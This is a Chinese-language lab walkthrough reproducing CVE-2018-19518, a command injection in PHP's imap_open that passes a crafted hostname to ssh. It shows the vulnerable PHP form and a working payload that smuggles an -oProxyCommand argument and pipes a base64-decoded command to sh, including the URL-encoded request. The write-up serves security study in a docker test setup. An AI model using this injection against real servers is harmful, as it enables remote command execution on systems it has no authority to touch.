概述
漏洞概述:imap_open函数在传递邮箱名给ssh之前没有正确过滤接收的参数,导致攻击者可以利用-oProxyCommand参数向IMAP服务器发起命令执行恶意代码
影响版本:Ubuntu、Debian、Red Hat、SUSE
环境搭建
cd /CVE-2018-19518
docker-compose up -d
查看网站的组件
直接看页面也没有什么思路,直接看代码
<?php
if(!empty($_POST)) {
$imap = @imap_open('{'.$_POST['hostname'].':993/imap/ssl}INBOX', $_POST['username'], $_POST['password']);
}
?>
<?php if(!empty($_POST)): ?>
<?php if($imap): ?>
<div class="alert alert-success" role="alert">
Connect successful!
</div>
<?php else: ?>
<div class="alert alert-danger" role="alert">
Connect failed!
</div>
<?php endif; ?>
<?php endif; ?>
分析
imap_open工作
imap_open函数并不是PHP函数库的内置函数,只有PHP安装imap扩展后才会激活imap_open()函数,imap_open实现与IMAP服务器之间的通信,如果IMAP服务器的主机使用了PHP,并且配置了rsh服务,那么imap_open会使用rsh/ssh来建立与远程服务器的连接,imap_open会将连接参数传递给rsh或ssh命令,包括主机名、端口号、加密方式等。
imap_open介绍PHP: imap_open - Manual
imap_open(
string $mailbox, //邮箱名称
string $user, //用户名
string $password,//密码
int $flags = 0,
int $retries = 0,
array $options = []
): IMAP\Connection|false
imap用来打开邮箱的IMAP流,就是用来连接邮箱,使用了IMAP协议,用于从邮件服务器上获取邮件信息、下载邮件等。
举例:
//To connect to an SSL IMAP or POP3 server, add /ssl after the protocol
//若要连接到 SSL IMAP 或 POP3 服务器,请在协议后添加 /ssl
$mbox = imap_open ("{localhost:993/imap/ssl}INBOX", "user_id", "password");
所以可以理解上面那段代码:
hostname是IP地址,993是端口名称,/imap表示使用imap协议,/ssl表示使用ssl对会话进行加密.
漏洞成因:
imap_open会调用rsh(debian/ubuntu会默认使用ssh)来远程执行命令,这里有一个需要解开的问题,我查了一些资料都没有讲解是如何调用rsh/ssh的,后面找到了一个解释:当能够使用SSH时,整个过程并不需要建立 IMAP 连接。 也就是说,imap_open 函数首先会建立SSH连接,如果认证通过,则会在没有 IMAP 连接的情况下继续执行,这就是所谓的 IMAP 预认证模式。
payload
利用ssh,ssh可以通过设置-oProxyCommand=
来调用第三方命令,通过这个参数注入,最终实现命令执行。
注:传递邮箱名称,空格和斜杠会被转义掉,需要进行绕过。x+-oProxyCommand=echo echo'1234567890'>/tmp/test0001|base64 -d|sh}
x:表示我们可以在操作服务器地址参数时操纵命令行
}:用来闭合接收变量一开始的括号
base64+url编码:hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222
进入容器查看执行结果:docker exec -it 容器id /bin/bash
总结
参考资料
https://blog.csdn.net/m0_46436640/article/details/119343765
https://www.freebuf.com/vuls/192712.html
https://xi4or0uji.github.io/2019/03/01/imap_open()%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%EF%BC%88CVE-2018-19518%EF%BC%89/
https://zhuanlan.zhihu.com/p/111986478
https://vulhub.org/#/environments/php/CVE-2018-19518/
https://forum.antichat.club/threads/463395/#post-4254681
https://www.cnblogs.com/biing/p/13049730.html